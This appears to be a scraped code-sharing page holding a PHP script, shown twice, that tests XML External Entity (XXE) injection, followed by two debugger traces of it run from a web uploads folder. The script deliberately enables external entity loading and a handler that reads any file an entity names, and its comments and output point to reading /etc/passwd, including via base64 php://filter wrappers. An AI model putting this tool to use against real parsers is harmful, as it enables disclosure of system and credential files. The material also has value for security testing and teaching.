Jump to:
Screenshot
Attributes
Files
#!/usr/bin/env php
<?php
// Please use chmod +x on me ;-)
// Internal test: ./xxe-php
// Own test: ./xxe-php /path/to/attack.xml
// A stream prefix we will both use for the default test and as an example
// when a test fails.
// You can use php://filter to apply filters before the file contents are
// returned.
// This can be useful to ensure all data can be recovered properly.
// E.g.: php://filter/read=convert.base64-encode/resource=/etc/passwd
// @see http://nl1.php.net/manual/en/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-unknown-unknown-unknown-descriptiot
$streamPrefix = 'file://';
// The first argument, our current script, is of no use to us.
$arguments = array_slice($argv, 1);
$xmlFile = current($arguments);
// Create an insecure target.
if (empty($xmlFile)) {
$target = tempnam(sys_get_temp_dir(), 'xxe-php-target');
// Put some data in the target.
file_put_contents($target, 'Sensitive data');
$streamPath = "{$streamPrefix}{$target}";
$xml = '<!DOCTYPE scan [<!ENTITY test SYSTEM "' . $streamPath . '">]><scan>&test;</scan>';
} else {
$xml = file_get_contents($xmlFile);
}
// Make sure we can fetch external entities.
// @see http://nl1.php.net/manual/en/function.libxml-disable-entity-loader.php
libxml_disable_entity_loader(false);
// Catch any and all libxml errors
// @see http://nl1.php.net/manual/en/function.libxml-use-internal-errors.php
libxml_use_internal_errors(false);
// Create a new xml parser.
// @see http://nl1.php.net/manual/en/function.xml-parser-create.php
$parser = xml_parser_create('UTF-8');
// A list of gathered external entities and their contents.
$externalEntities = array();
/**
* A custom external entity handler.
*
* @param resource $parser
* @param string $openEntityNames
* @param string $base
* @param string $systemId
* @param string $publicId
* @return integer
* @see http://nl1.php.net/manual/en/function.xml-set-external-entity-ref-handler.php
*/
function externalEntityRefHandler($parser, $openEntityNames, $base, $systemId, $publicId)
{
global $externalEntities;
if (!empty($systemId)) {
$externalEntities[$openEntityNames] = @file_get_contents($systemId);
}
return (int) (!empty($publicId) || !empty($externalEntities[$openEntityNames]));
}
// Set a custom entity handler.
// @see http://php.net/manual/en/example.xml-external-entity.php
// @see http://nl1.php.net/manual/en/function.xml-set-external-entity-ref-handler.php
xml_set_external_entity_ref_handler($parser, "externalEntityRefHandler");
// Parse the XML.
if (xml_parse($parser, $xml, true) === 1) {
echo "These are the results of your XML attack:\n\n";
var_dump($externalEntities);
} else {
echo "Sadly, the XXE attack did not work. Try again ;-)\n";
echo "Here is an example of a SYSTEM entity:\n";
echo "{$streamPrefix}/etc/passwd" . PHP_EOL;
}
// Free the parser.
// @see http://nl1.php.net/manual/en/function.xml-parser-free.php
xml_parser_free($parser);
// Clean up temporary files.
if (isset($target)) {
unlink($target);
}
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:47:53.285489]
1 0 1 0.000140 393464
1 3 0 0.000257 406480 {main} 1 /var/www/html/uploads/1.php 0 0
1 A /var/www/html/uploads/1.php 14 $streamPrefix = 'file://'
2 4 0 0.000306 406480 array_slice 0 /var/www/html/uploads/1.php 17 2 NULL 1
2 4 1 0.000328 406544
2 4 R NULL
1 A /var/www/html/uploads/1.php 17 $arguments = NULL
2 5 0 0.000352 406480 current 0 /var/www/html/uploads/1.php 18 1 NULL
2 5 1 0.000369 406512
2 5 R NULL
1 A /var/www/html/uploads/1.php 18 $xmlFile = NULL
2 6 0 0.000393 406480 sys_get_temp_dir 0 /var/www/html/uploads/1.php 23 0
2 6 1 0.000406 406520
2 6 R '/tmp'
2 7 0 0.000419 406520 tempnam 0 /var/www/html/uploads/1.php 24 2 '/tmp' 'xxe-php-target'
2 7 1 0.000459 406640
2 7 R '/tmp/xxe-php-targetV938cm'
1 A /var/www/html/uploads/1.php 24 $target = '/tmp/xxe-php-targetV938cm'
2 8 0 0.000488 406544 file_put_contents 0 /var/www/html/uploads/1.php 28 2 '/tmp/xxe-php-targetV938cm' 'Sensitive data'
2 8 1 0.000576 406728
2 8 R 14
1 A /var/www/html/uploads/1.php 30 $streamPath = 'file:///tmp/xxe-php-targetV938cm'
1 A /var/www/html/uploads/1.php 35 $xml = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///tmp/xxe-php-targetV938cm">]><scan>&test;</scan>'
2 9 0 0.000624 406848 libxml_disable_entity_loader 0 /var/www/html/uploads/1.php 42 1 FALSE
2 9 1 0.000681 406880
2 9 R FALSE
2 10 0 0.000695 406848 libxml_use_internal_errors 0 /var/www/html/uploads/1.php 46 1 FALSE
2 10 1 0.000709 406888
2 10 R FALSE
1 3 1 0.000727 407200
1 11 0 0.000735 407232 Error->__toString 0 Unknown 0 0
2 12 0 0.000747 407312 Error->getTraceAsString 0 Unknown 0 0
2 12 1 0.000759 407568
2 12 R '#0 {main}'
1 11 1 0.000775 407864
1 11 R 'Error: Call to undefined function xml_parser_create() in /var/www/html/uploads/1.php:50\nStack trace:\n#0 {main}'
0.000823 328592
TRACE END [2023-02-12 19:47:53.286199]
data/traces/b9b1ac6f9a59aa5603383d49542c73a8_trace-1676238527.4741.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:49:13.372039]
1 0 1 0.000362 393528
1 3 0 0.000519 406552 {main} 1 /var/www/html/uploads/xmlparser.php 0 0
1 A /var/www/html/uploads/xmlparser.php 14 $streamPrefix = 'file://'
2 4 0 0.000593 406552 array_slice 0 /var/www/html/uploads/xmlparser.php 17 2 NULL 1
2 4 1 0.000616 406616
2 4 R NULL
1 A /var/www/html/uploads/xmlparser.php 17 $arguments = NULL
2 5 0 0.000642 406552 current 0 /var/www/html/uploads/xmlparser.php 18 1 NULL
2 5 1 0.000661 406584
2 5 R NULL
1 A /var/www/html/uploads/xmlparser.php 18 $xmlFile = NULL
2 6 0 0.000686 406552 sys_get_temp_dir 0 /var/www/html/uploads/xmlparser.php 23 0
2 6 1 0.000699 406592
2 6 R '/tmp'
2 7 0 0.000713 406592 tempnam 0 /var/www/html/uploads/xmlparser.php 24 2 '/tmp' 'xxe-php-target'
2 7 1 0.000758 406712
2 7 R '/tmp/xxe-php-targetBQDzkD'
1 A /var/www/html/uploads/xmlparser.php 24 $target = '/tmp/xxe-php-targetBQDzkD'
2 8 0 0.000787 406616 file_put_contents 0 /var/www/html/uploads/xmlparser.php 28 2 '/tmp/xxe-php-targetBQDzkD' 'Sensitive data'
2 8 1 0.000889 406800
2 8 R 14
1 A /var/www/html/uploads/xmlparser.php 30 $streamPath = 'file:///tmp/xxe-php-targetBQDzkD'
1 A /var/www/html/uploads/xmlparser.php 35 $xml = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///tmp/xxe-php-targetBQDzkD">]><scan>&test;</scan>'
2 9 0 0.000936 406920 libxml_disable_entity_loader 0 /var/www/html/uploads/xmlparser.php 42 1 FALSE
2 9 1 0.000950 406952
2 9 R FALSE
2 10 0 0.000964 406920 libxml_use_internal_errors 0 /var/www/html/uploads/xmlparser.php 46 1 FALSE
2 10 1 0.000978 406960
2 10 R FALSE
1 3 1 0.001012 407280
1 11 0 0.001020 407312 Error->__toString 0 Unknown 0 0
2 12 0 0.001033 407392 Error->getTraceAsString 0 Unknown 0 0
2 12 1 0.001045 407648
2 12 R '#0 {main}'
1 11 1 0.001061 407944
1 11 R 'Error: Call to undefined function xml_parser_create() in /var/www/html/uploads/xmlparser.php:50\nStack trace:\n#0 {main}'
0.001109 328640
TRACE END [2023-02-12 19:49:13.372844]
<html><head></head><body>#!/usr/bin/env php
</body></html>
#!/usr/bin/env php
<?php
// Please use chmod +x on me ;-)
// Internal test: ./xxe-php
// Own test: ./xxe-php /path/to/attack.xml
// A stream prefix we will both use for the default test and as an example
// when a test fails.
// You can use php://filter to apply filters before the file contents are
// returned.
// This can be useful to ensure all data can be recovered properly.
// E.g.: php://filter/read=convert.base64-encode/resource=/etc/passwd
// @see http://nl1.php.net/manual/en/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-unknown-unknown-unknown-descriptiot
$streamPrefix = 'file://';
// The first argument, our current script, is of no use to us.
$arguments = array_slice($argv, 1);
$xmlFile = current($arguments);
// Create an insecure target.
if (empty($xmlFile)) {
$target = tempnam(
sys_get_temp_dir(),
'xxe-php-target'
);
// Put some data in the target.
file_put_contents($target, 'Sensitive data');
$streamPath = "{$streamPrefix}{$target}";
$xml = '<!DOCTYPE scan ['
. '<!ENTITY test SYSTEM "'
. $streamPath
. '">]><scan>&test;</scan>';
} else {
$xml = file_get_contents($xmlFile);
}
// Make sure we can fetch external entities.
// @see http://nl1.php.net/manual/en/function.libxml-disable-entity-loader.php
libxml_disable_entity_loader(false);
// Catch any and all libxml errors
// @see http://nl1.php.net/manual/en/function.libxml-use-internal-errors.php
libxml_use_internal_errors(false);
// Create a new xml parser.
// @see http://nl1.php.net/manual/en/function.xml-parser-create.php
$parser = xml_parser_create('UTF-8');
// A list of gathered external entities and their contents.
$externalEntities = array();
/**
* A custom external entity handler.
*
* @param resource $parser
* @param string $openEntityNames
* @param string $base
* @param string $systemId
* @param string $publicId
* @return integer
* @see http://nl1.php.net/manual/en/function.xml-set-external-entity-ref-handler.php
*/
function externalEntityRefHandler(
$parser,
$openEntityNames,
$base,
$systemId,
$publicId
) {
global $externalEntities;
if (!empty($systemId)) {
$externalEntities[$openEntityNames] = @file_get_contents($systemId);
}
return (integer) (
!empty($publicId)
|| !empty($externalEntities[$openEntityNames])
);
}
// Set a custom entity handler.
// @see http://php.net/manual/en/example.xml-external-entity.php
// @see http://nl1.php.net/manual/en/function.xml-set-external-entity-ref-handler.php
xml_set_external_entity_ref_handler($parser, "externalEntityRefHandler");
// Parse the XML.
if (xml_parse($parser, $xml, true) === 1) {
// Success.
echo 'These are the results of your XML attack:' . PHP_EOL . PHP_EOL;
var_dump($externalEntities);
} else {
echo 'Sadly, the XXE attack did not work. Try again ;-)' . PHP_EOL;
echo 'Here is an example of a SYSTEM entity:' . PHP_EOL;
echo "{$streamPrefix}/etc/passwd" . PHP_EOL;
}
// Free the parser.
// @see http://nl1.php.net/manual/en/function.xml-parser-free.php
xml_parser_free($parser);
// Clean up temporary files.
if (isset($target)) {
unlink($target);
}